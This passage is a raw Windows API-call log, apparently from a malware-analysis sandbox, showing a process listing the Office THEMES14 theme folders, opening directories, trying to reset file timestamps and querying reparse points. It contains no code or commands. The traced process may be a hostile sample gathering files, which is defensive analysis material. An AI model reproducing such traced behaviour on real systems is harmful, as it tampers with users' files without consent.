ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.525] GetLastError () returned 0x12 [0056.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.525] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.525] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0056.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.525] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0056.532] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f7d10 [0056.533] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f7d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f7d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f7d10) returned 1 [0056.533] NtClose (Handle=0x160) returned 0x0 [0056.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.533] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.533] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb110 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5e30 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb130 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f5f38 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x700) returned 0x9f2978 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5648) returned 1 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb150 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6040 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb170 [0056.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6148 [0056.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.535] GetLastError () returned 0x12 [0056.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.535] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.535] GetLastError () returned 0x12 [0056.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0056.535] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0056.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.535] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0056.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0056.546] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f7d10 [0056.546] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f7d10, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f7d10, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f7d10) returned 1 [0056.546] NtClose (Handle=0x16c) returned 0x0 [0056.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0056.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0056.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.546] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.546] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0056.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb190 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6250 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb1b0 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6358 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb1d0 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6460 [0056.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.547] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb1f0 [0056.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f6568 [0056.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 